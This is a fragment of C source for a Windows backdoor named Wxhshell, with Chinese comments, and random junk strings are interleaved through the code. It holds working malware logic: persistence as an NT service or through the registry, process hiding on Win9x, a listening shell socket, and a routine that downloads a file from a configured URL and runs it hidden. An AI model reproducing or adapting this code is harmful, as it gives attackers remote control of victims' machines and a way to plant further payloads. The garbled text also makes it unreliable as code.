!`_f IBNg2Y HMODULE hMod; TFkG"ev char procName[255]; ) k/&,J3 unsigned long cbNeeded; 0#NMNZ
QD.5oS if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); eP2Q2C8g dSwfea_ CloseHandle(hProcess); _YX% M|# 04U|Frc if(strstr(procName,"services")) return 1; // 以服务启动 QjLU@?& Z0&^(Fb return 0; // 注册表启动 FJ84'T\~ } h.tj8O1 tEL;,1 // 主模块 L<V20d9 int StartWxhshell(LPSTR lpCmdLine) }4>u_)nt { ^x&x|ckR! SOCKET wsl; 4PVg? BOOL val=TRUE; 21OfTV-+3 int port=0; U,2OofLM struct sockaddr_in door; St?mq* , D:9^^uVp if(wscfg.ws_autoins) Install(); d_
=K (}eR '5aA+XP| port=atoi(lpCmdLine); aX.BaK6I lB27Z} if(port<=0) port=wscfg.ws_port; oI-Fr0! &m5^
YN$b WSADATA data; L@\t]
~ if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; W,~*pyLdO ]MYbx)v) if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; ;d<XcpK} setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); TU?n;h#TZ door.sin_family = AF_INET; k
Fl*Im door.sin_addr.s_addr = inet_addr("127.0.0.1"); 8nI~iN?" door.sin_port = htons(port); [g}^{ $` N,w6 if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { VQ!4(
<XD closesocket(wsl); 9]3l' return 1; r5&c!b \ } ScJ:F-@> -v9 (43 if(listen(wsl,2) == INVALID_SOCKET) { IG0_ closesocket(wsl); !$HuH6_[ return 1; X)SUFhP\ } pW ~;B*hF Wxhshell(wsl); 87[o^) 8 WSACleanup(); w'}s'gGE 3R/6/+S- return 0; ~^.,Ftkb@7 {Q/@ Y.~< } u&p8S#e ^I/(9KP# // 以NT服务方式启动 -rsS_[$2 VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) cMi9 Z] { jEKa9rt DWORD status = 0; 0(&uH0x DWORD specificError = 0xfffffff; 5M\0t\uEn Mxz
X@GBX serviceStatus.dwServiceType = SERVICE_WIN32; 4oF,;o+v\4 serviceStatus.dwCurrentState = SERVICE_START_PENDING; 36'J9h\ serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; rKPsv*w serviceStatus.dwWin32ExitCode = 0; }c/#WA|b serviceStatus.dwServiceSpecificExitCode = 0; lJa-O serviceStatus.dwCheckPoint = 0; _`Kh8G
{e serviceStatus.dwWaitHint = 0; ~b8.]Z^ AkjoD7.* hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); |QzJHP @ if (hServiceStatusHandle==0) return; '
Sd&I:? h%:wIkZ/ status = GetLastError(); a:|]F| if (status!=NO_ERROR) b c
.Vy { CWs;1`aP serviceStatus.dwCurrentState = SERVICE_STOPPED; yq3"VFh3d serviceStatus.dwCheckPoint = 0; ?_pd#W=! serviceStatus.dwWaitHint = 0; ,S(_YS^m serviceStatus.dwWin32ExitCode = status; w}}+8mk[ serviceStatus.dwServiceSpecificExitCode = specificError; tc;$7F ; SetServiceStatus(hServiceStatusHandle, &serviceStatus); j,,#B4b return; WV}pE~ } hW,GsJ, lItr*,A] serviceStatus.dwCurrentState = SERVICE_RUNNING; =uwG.,lC serviceStatus.dwCheckPoint = 0; O'SxTwO serviceStatus.dwWaitHint = 0; >y+j!)\ if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); /x-tl)(s= } ICo Z<;p FlS)m` // 处理NT服务事件,比如:启动、停止 ?Wt_Obl VOID WINAPI NTServiceHandler(DWORD fdwControl) Rpcnpo { 2b
{Y1* switch(fdwControl) EI9Yv>7 d{ { \l6mXIn=> case SERVICE_CONTROL_STOP: AO$aW yI serviceStatus.dwWin32ExitCode = 0; K6<1& serviceStatus.dwCurrentState = SERVICE_STOPPED; w*SF Q_6YE serviceStatus.dwCheckPoint = 0; #l2WRw_t serviceStatus.dwWaitHint = 0; bVRxGn @l { h\-jqaq SetServiceStatus(hServiceStatusHandle, &serviceStatus); 0g#?'sD } QqY42hR return; 'U`I case SERVICE_CONTROL_PAUSE: DF#WQ8?$] serviceStatus.dwCurrentState = SERVICE_PAUSED; 9DXu*} break; ]:^kw$ case SERVICE_CONTROL_CONTINUE: d@|j>Z serviceStatus.dwCurrentState = SERVICE_RUNNING; '9wD+'c=A break; s|!b: Ms` case SERVICE_CONTROL_INTERROGATE: D/{ Spw@ break; _ )^n[_E }; Qzk/oHs SetServiceStatus(hServiceStatusHandle, &serviceStatus); A[d'*n[ } ]
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U // 标准应用程序主函数 9aqFdlbY int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) ~?A,GalS { cmh/a~vYaY #iGz&S3iN$ // 获取操作系统版本 P3XP=G`E OsIsNt=GetOsVer(); ( Gxv?\ GetModuleFileName(NULL,ExeFile,MAX_PATH); D+_PyK~jc X 'bp?m // 从命令行安装 }Lwj~{ if(strpbrk(lpCmdLine,"iI")) Install(); **YNR:#Y RZE:WE;5 // 下载执行文件 PZA;10z if(wscfg.ws_downexe) { $j}sxxTT if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) e$(i!G) WinExec(wscfg.ws_filenam,SW_HIDE); 7 -V_)FK2c } f4T-=` SO
?Ve5}N if(!OsIsNt) { J=]w$e ?.P // 如果时win9x,隐藏进程并且设置为注册表启动 Zr2QeLQC( HideProc(); FkECY StartWxhshell(lpCmdLine); B
9]sSx } !r!Mq~X<= else 7!N5uR if(StartFromService()) CM's6qhQnn // 以服务方式启动 )@`w^\E_~_ StartServiceCtrlDispatcher(DispatchTable); Q+ST8 else KF-gcRh // 普通方式启动 XY QUU0R StartWxhshell(lpCmdLine); <ct {D|mm U14dQ=~b/ return 0; Z*e7W O. }
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